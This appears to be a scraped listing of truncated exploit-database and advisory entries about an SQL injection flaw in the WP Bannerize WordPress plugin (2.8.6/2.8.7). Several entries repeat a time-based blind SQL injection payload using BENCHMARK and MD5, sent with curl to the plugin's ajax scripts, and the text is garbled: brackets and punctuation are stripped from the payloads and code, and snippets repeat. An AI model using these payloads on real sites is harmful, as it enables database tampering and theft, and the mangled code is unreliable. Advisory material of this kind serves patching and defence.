WordPress Plugin WP Bannerize 2.8.7 - 'ajax_sorter.php' SQL Injection

source: https://www.securityfocus.com/bid/49893/info The WP Bannerize plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the...

WordPress Bannerize Plugin 2.8.7 - SQL Injection

The Bannerize plugin's "ajaxsorter.php" parameter is prone to an SQL injection. This vulnerability allows an attacker to modify data, alter queries to the application SQL database, compromise the access and application or exploit hidden vulnerabilities in the underlying database. Solution Update...

WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: WordPress WP Bannerize plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0 e.g. curl --data "limit=1&offset=1&item=-1 AND 1=IF21,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0" -H "X-Requested-With:XMLHttpRequest"...

WordPress Plugin Bannerize 2.8.6 - SQL Injection

WordPress Plugin Bannerize 2.8.6 - SQL Injection Exploit Title: WordPress WP Bannerize plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0-- " -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajaxclickcounter.php --------------- Vulnerable code...

WordPress Plugin Bannerize 2.8.6 - SQL Injection

Exploit Title: WordPress WP Bannerize plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0-- " -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajaxclickcounter.php --------------- Vulnerable code --------------- if @isset$SERVER'HTTPXREQUESTEDWITH'...

WordPress WP Bannerize 2.8.6 SQL Injection

Exploit Title: WordPress WP Bannerize plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0-- " -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajaxclickcounter.php --------------- Vulnerable code --------------- if @isset$SERVER'HTTPXREQUESTEDWITH'...

WordPress Bannerize Plugin <= 2.8.6 - SQL Injection

Bannerize plugin is prone to an SQL injection. This vulnerability allows an attacker to modify data, alter queries to the application SQL database, compromise the access and application or exploit hidden vulnerabilities in the underlying database. Solution Upgrade the plugin...